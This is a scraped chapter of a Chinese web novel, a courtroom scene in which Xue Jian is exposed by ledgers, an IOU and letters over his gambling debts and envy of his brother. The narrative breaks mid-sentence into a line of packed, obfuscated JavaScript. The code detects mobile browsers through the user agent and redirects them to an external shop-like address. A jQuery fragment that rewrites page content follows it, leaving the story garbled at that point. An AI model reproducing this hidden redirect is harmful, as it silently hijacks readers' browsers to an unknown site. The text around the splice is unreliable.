131. 再登公堂(二)
作品:《死对头成了我的作精娘子》 “大人,当日那本账本上所记载的每一笔,全都是真实的,是父亲这些年将所见到的每一笔不正常的支出尽数偷偷记录下来,只盼有一日能将这账本交到大公子的后人手中。
他只是一个小小的掌柜,人微言轻,做不得主,便想着将这一切告知天下钱庄真正的主人。
却没想到,在将账本交给小公子后,我和阿初竟然被人绑走,以我二人性命相胁,逼父亲说出那些违心之言。
其实我知道,父亲为了我们不得不答应反水说那账本是造假时,就注定了他最后一定会死。身为人父他不忍心弃我们父子二人于不顾,最终还是背叛了他今生最感激最崇敬的东家。情义难两全,唯有一死,以谢当年大公子的知遇之恩。”那男子泪如雨下。
“你说,那本账本上所记载的,全部属实?当日掌柜所言,全是假话?”大理寺卿不辨喜怒的声音响起。
男人撩起衣袍直直跪了下去,双手交叠垫在额下,整个人伏在地上:“大人,草民所言句句属实。当日父亲所说的‘那账册造假’之言论全是违心的,真相就和小公子说的那样,账本是父亲偷偷记的,上面的每一笔支出都是二爷并未通过钱庄账本提出的钱款,未走明路。”
大理寺卿不动声色地看着薛健:“关于此,你可有异议?”
薛健一愣,随即叩首道:“大人明鉴,草民当年在兄长意外身亡后便接手了薛家的商行,为的就是不希望兄长努力得来的一切,付之东流。若当年草民不挺身而出,这些家业恐怕早已被他人蚕食一空,那我又有何颜面在百年后去九泉之下见兄长呢?
大人,草民的所作所为,无一不是为了薛家着想,绝无私心啊。侄儿说我是贪图家产,可当年兄长为了不让族中人因突然变得富有而飘飘然,因此制定了相应的规则,每个人都有相应的月例。以草民和母亲的份例,足够一生吃穿不愁了,何苦做这些手足相残之事?”
“二叔也说了,是正常生活,足够衣食无忧。那若是做了些,非正常之事呢?”薛子翛带着讥讽的声音响起。
“你什么意思!”薛健恶狠狠道。
薛子翛勾唇一笑:“二叔,月例正常花销自然是足够的,可若是进了赌坊呢?自古以来赌坊和青楼就是两大销金窟,多少富商折在一个‘赌’字之上,想来二叔应当比我更清楚才是。”
“呵……”薛健笑了起来,仿佛听见了什么十分可笑的言语一般,笑得弯下了腰,“子翛啊,二叔真的不知你脑中何时有了如此多荒谬的故事,简直就是天方夜谭。
你说我在赌坊输了钱,那你可有证据?这可不是你空口白牙就能污蔑的。府中上下,可有人曾见过我去赌坊?绝对没有!我怎么可能将兄长辛辛苦苦挣来的银子,转头就送上了赌坊呢?”
薛子翛并未正面回答,反问道:“此言,可当真?”
薛健拍着胸脯:“自然句句出自肺腑,绝无虚言。”
薛子翛从袖中抽出一本卷起的册子,双手呈上:“大人,这是从如意赌坊东家处得来的,账本上记载着二叔欠下的每一笔钱款,还有当年二叔亲笔写下的欠条,上面有他的签字画押。”
衙役及时接过,送到了大理寺卿面前。
薛健十分意外,攀咬道:“如意赌坊东家?是那个胭脂吧。”他语气中满是不屑,“我知道她,一个女儿家抛头露面的,简直丢人现眼。更何况就她长得那个狐媚的样子,谁知道她这个赌坊东家是怎么来的。莫不是……”薛健神色暧昧的在薛子翛身上来回打量。
“莫不是侄儿有意在后院之中再添一朵娇花?也是,胭脂姑娘国色天香,若是二叔再年轻个几十岁,也难免心动,更何况她与我那两位侄媳各有千秋。到底还是侄儿有艳福,已有一个红袖添香,一个经商有道,这又打算再来一个。也不知侄儿的后院,会不会着火呢。”薛健一脸看好戏的模样。
“啪”的一声,惊得薛健浑身一颤。
“肃静!公堂之上,启容尔等这般放肆。”大理寺卿呵斥道,顺手将手中的账册和欠条递给了一旁的师爷。
只见那师爷凑近账册,仔仔细细看着上头的行文笔迹,又翻动内页轻嗅,似有所发现地捏着一页,高高举起迎着光亮处细看。
“大人,这账本用的纸是以二十多年前特有的洒金工艺制成,而纸张却又有些陈旧。且这一手行书写得行云流水,字迹铁画银钩,一看就是出自如星之手。在属下看来,这账册上所写,可信。”
“那这欠条呢?”大理寺卿又问。
“属下对薛二爷的字迹不甚了解,怕是还得请吴老爷子指点一二。”师爷说着,起身将欠条送到了吴老爷子眼前。
吴老爷子含笑点头,接过仔细一看,答道:“依老朽拙见,这书写欠条之人,当与方才那些书信落笔之人,为同一人。”
薛健气上心头:“我尊称你一句吴老爷子,我与你往日无冤,近日无仇,你老何苦这般构陷于我?就不怕晚节不保吗?”
吴老爷子一愣,嗤笑一声:“老朽所言句句属实,绝无构陷之意。薛二爷与其抓着攀咬老朽,不如想想这些字,究竟是不是你自己所写。毕竟,等陆大人从薛府回来,这字迹便可真相大白。”他说着,朝薛健拱了拱手,不再言语。
“你……”薛健略有些气急败坏,今日所发生的事,桩桩件件都在他的意料之外。
“二叔啊,侄儿到现今不得不承认,这姜,总归还是老的辣。”薛子翛在薛健疑惑的眼神中,嗤笑一声,“二叔竟能在眨眼间就将这赌坊的脏水泼到我身上来,这指鹿为马的本领,侄儿确实是比不上,比不上啊。
眼下,二叔是不是觉得林家主已死,这些信件死无对证。只要你不承认是出自你手,就拿你没办法?”
薛健眼底闪着隐秘的笑,分明就是在回答薛子翛:你想得不错,你又能奈我何?
“大人,属下幸不辱命,寻到了一些东西。”陆玖的声音从门外传来,吸引了众人的视线。只见腰间悬着长刀的陆玖大步流星地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798396|175514||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走来,身后还跟着一个小姑娘。
只是这陆玖在前边走,那小姑娘小跑着在身后追。待他走上公堂向大理寺卿见礼完毕,那姑娘才姗姗来迟。
“民女见过大理寺卿。”
“免礼。陆玖,这位是?”
“大人,属下方才奉大人之命前去薛府寻些薛二爷的字迹,这位薛五姑娘出手相助。后来,属下正欲离开时,我二人却不知触碰到了什么机关,在薛二爷的卧房中发现了一个暗格,暗格中放着一只木盒,便是眼下五姑娘手中捧着的这只。”
陆玖顿了顿,继续说道:“属下在这木盒之中发现了另一部分的书信,粗粗翻看之下,应当是与今日薛公子带来的那只木匣中所存放的,薛二爷写给林家主的信件相呼应的,也就是林家主给薛二爷的回信。”陆玖深深看了一眼薛健,如他所料般,当薛子心和那只木盒出现之后,薛健的脸色变得无比难看,如丧考妣。
“另外,这只木盒中还有一些未曾送出的,与其说是信,倒不如说是单方面发泄的泄恨言论,字里行间里满是对薛传的嫉妒和愤恨。卑职斗胆,想问一问薛二爷,能称呼薛传为‘兄长’、‘大哥’的,除了众所周知的二爷你,还有哪个弟弟?”
薛健的脸色煞白,毫无血色,整个人摇摇欲坠。他在陆玖的提问下,根本说不出一句话来为自己辩解。
陆玖也不追问,将寻到的字画送到吴老爷子面前:“老爷子,这是从薛二爷房中寻得的字画,想来必定是出自他手,还请您瞧瞧。”
吴老爷子将陆玖寻来的字画,和初始时大理寺卿交给他的书信仔细比对,作出了决断,他说道:“大人,老朽愿以今生的名誉作保,这些书信就是出自薛二爷之手!”
陆玖又将这些东西送到了大理寺卿身前的案几上,大理寺卿依言左右比对了一番,又将东西推到身旁的师爷面前。
过了片刻,师爷和大理寺卿四目相对,点了点头。他们在彼此眼神中,看到了与自己如出一辙的意思。
这书信上的字迹,与字画上的字迹,可以说是一模一样。
“薛健,你还有何话可说?”大理寺卿冷言道。
“大人,我承认,我曾经确实对兄长十分嫉妒。他才貌双全,又在经商一途上颇有天赋。我们明明是世人口中的‘一母同胞’,可为何却是天壤之别?身边之人,无一不是羡慕我有这样一个兄长。
可是,又有谁能看得见我?我明明也不差啊……
林兄本是兄长的好友,却不想我与他竟格外有缘,相见恨晚。随着交往愈深,我有时也会将心中的烦闷说与他听。可那些不过是我情绪上头时的胡说八道罢了,又如何能做数?
再说了,我又怎会知道林兄与风雷阁还有那样的关系?”薛健心思百转之下,寻了一个破局之法,承认了一部分无关痛痒的说辞,为自己留一条后路。
“可是二叔,有人曾亲眼见过你与风雷阁中有地位的人,避开众人,私下会面,这些你又如何解释?”

